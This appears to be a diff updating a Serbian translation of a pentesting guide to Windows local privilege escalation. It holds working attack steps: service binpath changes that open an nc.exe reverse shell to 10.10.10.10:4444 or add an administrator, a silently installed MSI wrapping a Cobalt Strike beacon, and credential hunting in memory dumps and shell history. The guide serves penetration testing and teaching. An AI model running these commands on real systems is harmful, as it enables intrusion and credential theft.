**sprečiti vas u enumerisanju sistema**, pokretanju izvršnih fajlova ili čak **otkriti vaše aktivnosti**. Trebalo bi da **pročitate** sledeću **stranicu** i **enumerišete** sve ove **defense** **mechanisms** pre nego što započnete privilege escalation enumeration: +U Windows-u postoje različite stvari koje vam mogu sprečiti da izvršite enumeraciju sistema, pokrenete izvršne fajlove ili čak otkriju vaše aktivnosti. Trebalo bi da pročitate sledeću stranicu i enumerišete sve ove odbrambene mehanizme pre početka enumeracije za privilege escalation: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## System Info +## Informacije o sistemu -### Version info enumeration +### Enumeracija informacija o verziji -Proverite da li Windows verzija ima neku poznatu ranjivost (proverite i primenjene zakrpe). +Proverite da li Windows verzija ima neku poznatu ranjivost (proverite i primenjene ispravke). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -61,16 +61,16 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ### Version Exploits -Ovaj [site](https://msrc.microsoft.com/update-guide/vulnerability) je zgodan za pretraživanje detaljnih informacija o Microsoft bezbednosnim ranjivostima. Ova baza podataka sadrži više od 4.700 bezbednosnih ranjivosti, što pokazuje **massive attack surface** koje Windows okruženje ima. +Ovaj [site](https://msrc.microsoft.com/update-guide/vulnerability) je koristan za traženje detaljnih informacija o Microsoft security vulnerabilities. Ova baza ima više od 4.700 security vulnerabilities, pokazujući **massive attack surface** koji Windows okruženje predstavlja. -**On the system** +**Na sistemu** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ima ugrađen watson)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(winpeas ima watson ugrađen)_ -**Locally with system information** +**Lokalno sa informacijama o sistemu** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) @@ -81,15 +81,15 @@ Ovaj [site](https://msrc.microsoft.com/update-guide/vulnerability) je zgodan za - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) - [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) -### Okruženje +### Environment -Ima li bilo kakvih credential/Juicy info sačuvanih u env variables? +Da li su neki credential/Juicy podaci sačuvani u env variables? ```bash set dir env: Get-ChildItem Env: | ft Key,Value -AutoSize ``` -### Istorija PowerShell-a +### PowerShell Istorija ```bash ConsoleHost_history #Find the PATH where is saved @@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell Transcript fajlovi -Možete saznati kako to uključiti na [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Možete saznati kako da ovo omogućite na [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,34 +116,34 @@ Stop-Transcript ``` ### PowerShell Module Logging -Detalji izvršavanja PowerShell pipeline-a se beleže, obuhvatajući izvršene komande, pozive komandi i delove skripti. Međutim, potpuni detalji izvršavanja i rezultati izlaza možda neće biti zabeleženi. +Detalji izvršavanja PowerShell pipeline-a se beleže, obuhvatajući izvršene komande, pozive komandi i delove skripti. Međutim, potpuni detalji izvršavanja i rezultati izlaza možda nisu zabeleženi. -Da biste ovo omogućili, pratite uputstva u odeljku "Transcript files" dokumentacije, birajući **"Module Logging"** umesto **"Powershell Transcription"**. +Da biste ovo omogućili, sledite uputstva u odeljku "Transcript files" dokumentacije, birajući **"Module Logging"** umesto **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Da biste prikazali poslednjih 15 događaja iz PowersShell logs možete izvršiti: +Da biste videli poslednjih 15 događaja iz Powershell logova, možete izvršiti: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Snimljen je potpuni zapis aktivnosti i celog sadržaja izvršavanja skripte, osiguravajući da je svaki blok koda dokumentovan dok se izvršava. Ovaj proces čuva sveobuhvatan revizorski trag svake aktivnosti, koristan za forenziku i analizu zlonamernog ponašanja. Dokumentovanjem svih aktivnosti u trenutku izvršavanja pružaju se detaljni uvidi u proces. +Zabeležen je kompletan zapis aktivnosti i puni sadržaj izvršavanja skripte, čime se osigurava da je svaki blok koda dokumentovan tokom izvršavanja. Ovaj proces čuva sveobuhvatan audit trail svake aktivnosti, koristan za forensics i analizu malicioznog ponašanja. Dokumentovanjem sve aktivnosti u trenutku izvršavanja pružaju se detaljni uvidi u proces. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Događaji za Script Block mogu se pronaći u Windows Event Viewer-u na putanji: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Za prikaz poslednjih 20 događaja možete koristiti: +Događaji zapisani za Script Block mogu se pronaći u Windows Event Viewer na putanji: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Da biste prikazali poslednjih 20 događaja, možete koristiti: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` -### Podešavanja interneta +### Postavke interneta ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Sistem možete kompromitovati ako se ažuriranja ne zahtevaju koristeći http**S**, već http. +Možete kompromitovati sistem ako se ažuriranja ne zahtevaju koristeći http**S**, već http. -Počinjete proverom da li mreža koristi non-SSL WSUS za ažuriranja tako što ćete pokrenuti sledeće u cmd: +Počnite proverom da li mreža koristi non-SSL WSUS ažuriranja pokretanjem sledeće komande u cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -166,7 +166,7 @@ Ili sledeće u PowerShell-u: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Ako dobijete odgovor kao jedan od ovih: +Ako dobijete odgovor poput jednog od ovih: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -182,11 +182,11 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` A ako je `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ili `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` jednako `1`. -Onda je **eksploatabilno.** Ako je poslednji registry jednak 0, tada će WSUS unos biti ignorisan. +Onda, **it is exploitable.** Ako je poslednji registry jednak 0, tada će WSUS entry biti ignorisan. -Da biste iskoristili ovu ranjivost možete koristiti alate kao što su: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Ovo su MiTM weaponized exploits skripte za ubacivanje 'lažnih' ažuriranja u non-SSL WSUS saobraćaj. +Da biste iskoristili ovu ranjivost možete koristiti alate kao što su: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. -Pročitajte istraživanje ovde: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -195,25 +195,25 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -U suštini, ovo je propust koji ovaj bug iskorišćava: +Basically, this is the flaw that this bug exploits: -> Ako imamo mogućnost da izmenimo lokalni proxy korisnika, i Windows Updates koristi proxy konfigurisan u Internet Explorer podešavanjima, tada imamo mogućnost da pokrenemo [PyWSUS](https://github.com/GoSecure/pywsus) lokalno da presretnemo sopstveni saobraćaj i pokrenemo kod kao povišeni korisnik na našem sistemu. +> Ako imamo mogućnost da izmenimo lokalni user proxy, i Windows Updates koristi proxy podešen u Internet Explorer’s settings, onda imamo mogućnost da lokalno pokrenemo [PyWSUS](https://github.com/GoSecure/pywsus) da presretnemo sopstveni saobraćaj i pokrenemo kod kao povišeni korisnik na našem asset-u. > -> Štaviše, pošto WSUS servis koristi podešavanja trenutnog korisnika, koristiće i njegov certificate store. Ako generišemo self-signed certificate za WSUS hostname i dodamo taj sertifikat u certificate store trenutnog korisnika, bićemo u mogućnosti da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-like mehanizme za implementaciju trust-on-first-use tip validacije sertifikata. Ako je predstavljen sertifikat pouzdan od strane korisnika i ima ispravan hostname, biće prihvaćen od strane servisa. +> Dodatno, pošto WSUS servis koristi podešavanja trenutnog korisnika, on će takođe koristiti njegov certificate store. Ako generišemo self-signed sertifikat za WSUS hostname i dodamo taj sertifikat u certificate store trenutnog korisnika, bićemo u stanju da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-like mehanizme za implementaciju trust-on-first-use tip validacije sertifikata. Ako je prikazani sertifikat trusted od strane korisnika i ima ispravan hostname, biće prihvaćen od strane servisa. -Možete iskoristiti ovu ranjivost koristeći alat [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (kad bude dostupan). +You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (jednom kada bude dostupan). ## KrbRelayUp -Postoji **local privilege escalation** ranjivost u Windows **domain** okruženjima pod određenim uslovima. Ti uslovi uključuju okruženja gde **LDAP signing is not enforced**, korisnici imaju **self-rights** koji im dopuštaju da konfigurišu **Resource-Based Constrained Delegation (RBCD)**, i mogućnost da korisnici kreiraju računare u domenu. Važno je napomenuti da su ovi **zahtevi** ispunjeni korišćenjem **default settings**. +A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. -Pronađite **exploit u** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Pronađite the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) Za više informacija o toku napada pogledajte [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**Ako** ova 2 registra su **omogućena** (vrednost je **0x1**), onda korisnici bilo kog privilegija mogu **instalirati** (izvršavati) `*.msi` fajlove kao NT AUTHORITY\\**SYSTEM**. +**If** ova 2 registra su **enabled** (vrednost je **0x1**), onda korisnici bilo kog privilegija mogu da instaliraju (izvrše) `*.msi` fajlove kao NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -227,7 +227,7 @@ Ako imate meterpreter sesiju, možete automatizovati ovu tehniku koristeći modu ### PowerUP -Koristite komandu `Write-UserAddMSI` iz power-up da kreirate u trenutnom direktorijumu Windows MSI binarni fajl za eskalaciju privilegija. Ovaj skript kreira prethodno kompajlirani MSI installer koji traži dodavanje korisnika/grupe (dakle biće vam potreban GIU pristup): +Koristite komandu `Write-UserAddMSI` iz power-up da kreirate u trenutnom direktorijumu Windows MSI binarni fajl za eskalaciju privilegija. Ovaj skript upisuje prekompajlirani MSI installer koji traži dodavanje korisnika/grupe (tako da će vam biti potreban GIU pristup): ``` Write-UserAddMSI ``` @@ -235,7 +235,7 @@ Samo izvršite kreirani binarni fajl da biste eskalirali privilegije. ### MSI Wrapper -Pročitajte ovaj tutorijal da naučite kako kreirati MSI wrapper koristeći ove alate. Imajte na umu da možete wrap-ovati "**.bat**" fajl ako želite samo da **execute** **command lines** +Pročitajte ovaj tutorijal da naučite kako da kreirate MSI wrapper koristeći ove alate. Imajte na umu da možete obmotati "**.bat**" fajl ako želite **samo** da **izvršavate** **komande**. {{#ref}} @@ -251,44 +251,44 @@ create-msi-with-wix.md ### Create MSI with Visual Studio -- **Generišite** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` -- Otvorite **Visual Studio**, izaberite **Create a new project** i upišite "installer" u polje za pretragu. Izaberite projekat **Setup Wizard** i kliknite **Next**. -- Dajte projektu ime, like **AlwaysPrivesc**, use **`C:\privesc`** for the location, select **place solution and project in the same directory**, and click **Create**. +- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- Otvorite **Visual Studio**, izaberite **Create a new project** i otkucajte "installer" u polje za pretragu. Izaberite **Setup Wizard** projekat i kliknite **Next**. +- Dajte projektu ime, poput **AlwaysPrivesc**, koristite **`C:\privesc`** za lokaciju, izaberite **place solution and project in the same directory**, i kliknite **Create**. - Nastavite da klikćete **Next** dok ne dođete do koraka 3 od 4 (choose files to include). Kliknite **Add** i izaberite Beacon payload koji ste upravo generisali. Zatim kliknite **Finish**. -- Označite projekat **AlwaysPrivesc** u **Solution Explorer** i u **Properties**, promenite **TargetPlatform** sa **x86** na **x64**. -- Postoje i druga svojstva koja možete promeniti, kao što su **Author** i **Manufacturer**, što može učiniti instaliranu aplikaciju legitimnijom. +- Selektujte projekat **AlwaysPrivesc** u **Solution Explorer** i u **Properties**, promenite **TargetPlatform** sa **x86** na **x64**. +- Postoje i druge properties koje možete promeniti, kao što su **Author** i **Manufacturer**, što može učiniti da instalirana aplikacija izgleda legitimnije. - Kliknite desnim tasterom na projekat i izaberite **View > Custom Actions**. - Kliknite desnim tasterom na **Install** i izaberite **Add Custom Action**. -- Dvaput kliknite na **Application Folder**, izaberite vaš **beacon.exe** fajl i kliknite **OK**. Ovo će osigurati da se beacon payload izvrši čim se installer pokrene. +- Duplo kliknite na **Application Folder**, izaberite vaš fajl **beacon.exe** i kliknite **OK**. Ovo će osigurati da se beacon payload izvrši čim se installer pokrene. - U okviru **Custom Action Properties**, promenite **Run64Bit** na **True**. - Na kraju, **build it**. -- Ako se pojavi upozorenje `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, uverite se da ste podesili platformu na x64. +- Ako se prikaže upozorenje `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, uverite se da ste postavili platformu na x64. ### MSI Installation -Da biste izvršili **installation** zlonamernog `.msi` fajla u pozadini: +Da biste izvršili **instalaciju** zlonamernog `.msi` fajla u **pozadini:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Za iskorišćavanje ove ranjivosti možete koristiti: _exploit/windows/local/always_install_elevated_ +Da biste iskoristili ovu ranjivost, možete koristiti: _exploit/windows/local/always_install_elevated_ ## Antivirus i detektori -### Podešavanja audita +### Postavke audita -Ova podešavanja određuju šta je **logged**, zato obratite pažnju +Ova podešavanja određuju šta se **zapisuje**, pa treba obratiti pažnju ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding — korisno je znati gde se šalju logovi +Windows Event Forwarding — zanimljivo je znati gde se šalju logovi ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** je dizajniran za upravljanje lozinkama lokalnog Administrator naloga, obezbeđujući da je svaka lozinka jedinstvena, nasumična i redovno ažurirana na računarima pridruženim domenu. Ove lozinke se sigurno čuvaju u Active Directory i mogu im pristupiti samo korisnici kojima su dodeljena odgovarajuća ovlašćenja putem ACLs, što im omogućava da pregledaju lokalne admin lozinke ako su ovlašćeni. +**LAPS** je dizajniran za upravljanje lozinkama lokalnog Administrator naloga, osiguravajući da je svaka lozinka jedinstvena, nasumična i redovno ažurirana na računarima pridruženim domeni. Te lozinke se bezbedno čuvaju u Active Directory i mogu im pristupiti samo korisnici kojima su dodeljena odgovarajuća prava putem ACLs, što im omogućava da, ako su ovlašćeni, pregledaju lozinke lokalnog administratora. {{#ref}} @@ -297,36 +297,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Ako je aktivan, **plain-text passwords su pohranjene u LSASS-u** (Local Security Authority Subsystem Service).\ +Ako je aktivan, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ [**Više informacija o WDigest na ovoj stranici**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Počevši od Windows 8.1, Microsoft je uveo pojačanu zaštitu za Local Security Authority (LSA) kako bi blokirao pokušaje nepouzdanih procesa da read its memory ili inject code, dodatno osiguravajući sistem.\ +Počevši od **Windows 8.1**, Microsoft je uveo pojačanu zaštitu za Local Security Authority (LSA) da **blokira** pokušaje nepouzdanih procesa da **čitaju njegovu memoriju** ili ubrizgavaju kod, dodatno štiteći sistem.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** je uveden u **Windows 10**. Njegova svrha je da zaštiti credentials koji su pohranjeni na uređaju od pretnji poput pass-the-hash napada.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** je uveden u **Windows 10**. Njegova svrha je da zaštiti kredencijale sačuvane na uređaju od pretnji kao što su pass-the-hash napadi.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** se autentifikuju od strane **Local Security Authority** (LSA) i koriste se od strane komponenti operativnog sistema. Kada se korisnikovi podaci za prijavu autentifikuju od strane registrovanog sigurnosnog paketa, obično se uspostavljaju Domain credentials za tog korisnika.\ -[**Više informacija o Cached Credentials ovde**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** se autentifikuju od strane **Local Security Authority** (LSA) i koriste ih komponente operativnog sistema. Kada se prijavni podaci korisnika autentifikuju pomoću registrovanog bezbednosnog paketa, obično se za tog korisnika uspostavljaju domain credentials.\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Korisnici i Grupe +## Korisnici i grupe -### Enumeracija korisnika i grupa +### Nabrajanje korisnika i grupa -Proverite da li neke od grupa kojima pripadate imaju zanimljive dozvole. +Trebalo bi da proverite da li neka od grupa kojima pripadate ima zanimljive dozvole ```bash # CMD net users %username% #Me @@ -353,14 +353,14 @@ Ako **pripadate nekoj privilegovanoj grupi, možda ćete moći da eskalirate pri ### Token manipulation **Saznajte više** o tome šta je **token** na ovoj stranici: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Pogledajte sledeću stranicu da biste **saznali o interesantnim tokens** i kako ih zloupotrebiti: +Pogledajte sledeću stranicu da **learn about interesting tokens** i kako ih zloupotrebiti: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Prijavljeni korisnici / Sessions +### Prijavljeni korisnici / Sesije ```bash qwinsta klist sessions @@ -374,16 +374,16 @@ Get-ChildItem C:\Users ```bash net accounts ``` -### Preuzmi sadržaj međuspremnika +### Dohvati sadržaj clipboard-a ```bash powershell -command "Get-Clipboard" ``` ## Pokrenuti procesi -### Dozvole fajlova i foldera +### Dozvole za fajlove i foldere -Prvo i najvažnije, pri listanju procesa **proverite da li se u komandnoj liniji procesa nalaze lozinke**.\ -Proverite da li možete **prepisati neki pokrenuti binarni fajl** ili da li imate dozvole za pisanje u folderu binarnog fajla kako biste iskoristili moguće [**DLL Hijacking attacks**](dll-hijacking/index.html): +Prvo, prilikom listanja procesa, **proverite da li se u komandnoj liniji procesa nalaze lozinke**.\ +Proverite da li možete **prepisati neki pokrenuti binarni fajl** ili da li imate dozvole za upis u folder binarnih fajlova kako biste iskoristili moguće [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -394,9 +394,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Uvek proveri da li su prisutni [**electron/cef/chromium debuggers** koji se pokreću, možeš ih zloupotrebiti za eskalaciju privilegija](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Uvek proverite da li se pokreću [**electron/cef/chromium debuggers** — možete ih zloupotrebiti za eskalaciju privilegija](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Provera dozvola binarnih fajlova procesa** +**Provera dozvola binaries procesa** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -405,7 +405,7 @@ icacls "%%z" ) ) ``` -**Provera dozvola foldera binarnih fajlova procesa (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Provera dozvola direktorijuma binarnih fajlova procesa (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -415,19 +415,19 @@ todos %username%" && echo. ``` ### Memory Password mining -Možete kreirati memory dump pokrenutog procesa koristeći **procdump** iz sysinternals. Servisi kao što je FTP često imaju **credentials in clear text in memory** — pokušajte da napravite memory dump i pročitate credentials. +Možete napraviti memory dump pokrenutog procesa koristeći **procdump** iz sysinternals. Servisi poput FTP imaju **credentials in clear text in memory**, pokušajte napraviti memory dump i pročitati credentials. ```bash procdump.exe -accepteula -ma ``` -### Nesigurne GUI aplikacije +### Nezaštićene GUI aplikacije -**Aplikacije koje se pokreću kao SYSTEM mogu dozvoliti korisniku da pokrene CMD ili pretražuje direktorijume.** +**Aplikacije koje rade kao SYSTEM mogu omogućiti korisniku da pokrene CMD, ili pregleda direktorijume.** -Primer: "Windows Help and Support" (Windows + F1), pretražite "command prompt", kliknite na "Click to open Command Prompt" +Primer: "Windows Help and Support" (Windows + F1), potražite "command prompt", kliknite na "Click to open Command Prompt" ## Servisi -Dobijte listu servisa: +Prikažite listu servisa: ```bash net start wmic service list brief @@ -436,29 +436,29 @@ Get-Service ``` ### Dozvole -Možete koristiti **sc** da biste dobili informacije o servisu +Možete koristiti **sc** da dobijete informacije o servisu ```bash sc qc ``` -Preporučuje se imati binarni fajl **accesschk** iz _Sysinternals_ kako biste proverili potreban nivo privilegija za svaki servis. +Preporučuje se imati binarni **accesschk** iz _Sysinternals_ za proveru potrebnog nivoa privilegija za svaki servis. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Preporučuje se proveriti da li "Authenticated Users" mogu izmeniti bilo koju uslugu: +Preporučuje se proveriti da li "Authenticated Users" mogu da izmene bilo koju uslugu: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[Možete preuzeti accesschk.exe za XP ovde](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### Omogućavanje servisa -Ako imate ovu grešku (na primer sa SSDPSRV): +Ako dobijate ovu grešku (na primer sa SSDPSRV): -_Dogodila se sistemska greška 1058._\ -_Servis se ne može pokrenuti, ili zato što je onemogućen ili zato što nema pridruženih omogućenih uređaja._ +_System error 1058 has occurred._\ +_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ Možete ga omogućiti koristeći ```bash @@ -467,13 +467,13 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Imajte u vidu da servis upnphost zavisi od SSDPSRV da bi radio (za XP SP1)** -**Još jedno rešenje** ovog problema je pokretanje: +**Još jedno zaobilazno rešenje** ovog problema je pokretanje: ``` sc.exe config usosvc start= auto ``` -### **Izmeni putanju binarne datoteke servisa** +### **Modify service binary path** -U scenariju gde grupa "Authenticated users" poseduje **SERVICE_ALL_ACCESS** nad servisom, moguće je izmeniti izvršnu binarnu datoteku servisa. Da biste izmenili i pokrenuli **sc**: +U scenariju u kome grupa "Authenticated users" ima **SERVICE_ALL_ACCESS** nad servisom, moguće je izmeniti izvršni binarni fajl servisa. Da biste izmenili i pokrenuli **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -481,25 +481,25 @@ sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` -### Ponovno pokretanje servisa +### Ponovo pokreni servis ```bash wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Privileges can be escalated through various permissions: +Privilegije se mogu eskalirati pomoću različitih dozvola: -- **SERVICE_CHANGE_CONFIG**: Omogućava rekonfiguraciju binarnog fajla servisa. -- **WRITE_DAC**: Omogućava rekonfiguraciju dozvola, što može dovesti do mogućnosti promene konfiguracija servisa. -- **WRITE_OWNER**: Dozvoljava preuzimanje vlasništva i rekonfiguraciju dozvola. -- **GENERIC_WRITE**: Nasleđuje mogućnost promene konfiguracija servisa. -- **GENERIC_ALL**: Takođe nasleđuje mogućnost promene konfiguracija servisa. +- **SERVICE_CHANGE_CONFIG**: Omogućava rekonfiguraciju binarne datoteke servisa. +- **WRITE_DAC**: Omogućava ponovno podešavanje dozvola, što može dovesti do mogućnosti izmene konfiguracija servisa. +- **WRITE_OWNER**: Dozvoljava preuzimanje vlasništva i ponovno podešavanje dozvola. +- **GENERIC_WRITE**: Nasleđuje mogućnost izmene konfiguracija servisa. +- **GENERIC_ALL**: Takođe nasleđuje mogućnost izmene konfiguracija servisa. -For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized. +Za detekciju i eksploataciju ove ranjivosti može se koristiti _exploit/windows/local/service_permissions_. -### Services binaries weak permissions +### Slabe dozvole za servisne binarne datoteke -**Proverite da li možete izmeniti binarni fajl koji se izvršava od strane servisa** ili da li imate **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -You can get every binary that is executed by a service using **wmic** (not in system32) and check your permissions using **icacls**: +**Proverite da li možete izmeniti binarni fajl koji servis pokreće** ili da li imate **dozvole za pisanje na folder** gde se binarni fajl nalazi ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Možete dobiti sve binarne fajlove koje servis izvršava koristeći **wmic** (not in system32) i proveriti svoje dozvole koristeći **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -511,10 +511,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Dozvole za izmenu registra servisa +### Dozvole za izmene u registru servisa -Treba da proverite da li možete da izmenite bilo koji registar servisa.\ -Možete da **proverite** svoje **dozvole** nad registrom **servisa** na sledeći način: +Trebalo bi da proverite da li možete da izmenite bilo koji registar servisa.\ +Možete **proveriti** svoje **dozvole** nad registrom servisa tako što ćete: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -523,15 +523,15 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl 